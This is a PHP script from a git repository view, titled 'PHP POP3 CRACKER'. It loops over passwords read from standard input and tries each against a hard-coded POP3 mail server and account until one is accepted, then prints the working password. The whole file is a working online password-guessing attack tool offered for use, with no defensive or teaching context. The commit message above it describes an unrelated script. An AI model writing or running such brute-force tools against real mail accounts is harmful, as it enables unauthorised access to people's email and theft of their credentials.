Added script to find files not owned by pacman package manager (ArchLinux)

[mirrors/Programs.git] / php / skripty / pop3crack.php

<?php\r
\r
//READLINE Function\r
function readline($prompt="") {\r
  echo $prompt;\r
  $line = fgets(STDIN, 999);\r
  return trim($line);\r
}\r
//READLINE End\r
\r
//CODE\r
$server = "pop3.seznam.cz";\r
$port = "110";\r
$timeout = "5";\r
$user = "harvie@seznam.cz";\r
//$pass = "heslo";\r
\r
echo (\r
"PHP POP3 CRACKER\nHarvie 2oo7\n"\r
);\r
\r
while(1) {\r
  $fp = fsockopen ($server, $port, &$errno, &$errstr, $timeout);\r
  //if ($fp) { echo("GOOD CONNECTION\n"); }\r
  if (!$fp) { echo("BAD CONNECTION\n"); }\r
\r
  $pass = readline();\r
\r
  $resp = (" ".fread($fp, 1000));\r
\r
  fwrite($fp, "USER $user\n");\r
    $resp = (" ".fread($fp, 1000));\r
  fwrite($fp, "PASS $pass\n");\r
    $resp = (" ".fread($fp, 1000));\r
  if (strpos($resp, "+OK") != 0) {\r
    echo(\r
    "\n\n-------------------\n".\r
    "GOOD PASSWORD FOUND\n".\r
    "Server: $server:$port\n".\r
    "USER $user\n".\r
    "PASS $pass"\r
    );\r
    fclose($fp);\r
    die("\n");\r
  }\r
  //if (strpos($resp, "-ERR") != 0) { echo("\nBAD PASSWORD\n"); }\r
}\r
\r
?>\r